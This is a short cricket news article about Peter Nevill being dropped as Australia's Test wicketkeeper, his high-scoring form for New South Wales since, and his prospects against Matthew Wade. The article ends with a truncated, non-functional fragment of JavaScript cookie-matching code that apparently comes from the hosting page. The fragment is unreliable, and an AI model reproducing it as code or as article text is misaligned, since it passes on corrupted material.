Following Australia's disastrous loss to South Africa in Hobart in November, the selectors wielded the axe, dropping five players for the third Test.
Wicket Keeper Peter Nevill was one of those players who were dropped, due to what selectors said were a lack of runs during his time in the Test team, despite the general consensus that he is the best gloveman in the country.
In his 17 Test innings, Nevill has scored 468 runs at an average of just 22.28, with three half-centuries and a highest score of 66.
However, since his axing, Nevill has sent a clear message to the selectors.
The 31-year-old has been exquisite touch, hitting 487 runs at an average of 97.40 for New South Wales in seven innings.
He has hit three centuries in that time, two of which he has been unbeaten. He has also taken 14 catches and made one stumping behind the stumps in that time.
Nevill has eight first-class centuries and 20 50s to his name in his 82 match career, with an average of 39.18.
With Australian selectors making it clear they have shifted to a long term view of keeping Matthew Wade behind the stumps, it may take some time before Nevill can earn his spot back.
However, Wade is yet to dominate with the bat since being recalled the Test side either. He has scores of four, seven, one not out, nine and 29. If his lean trot with the bat continues, selectors will surely once again consider looking elsewhere and if Nevill's form continues he will undoubtedly be in the frame for another recall.
But as we have seen recetly, we can never predict what the national selectors are thinking or which bizarre path they will go down next. "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
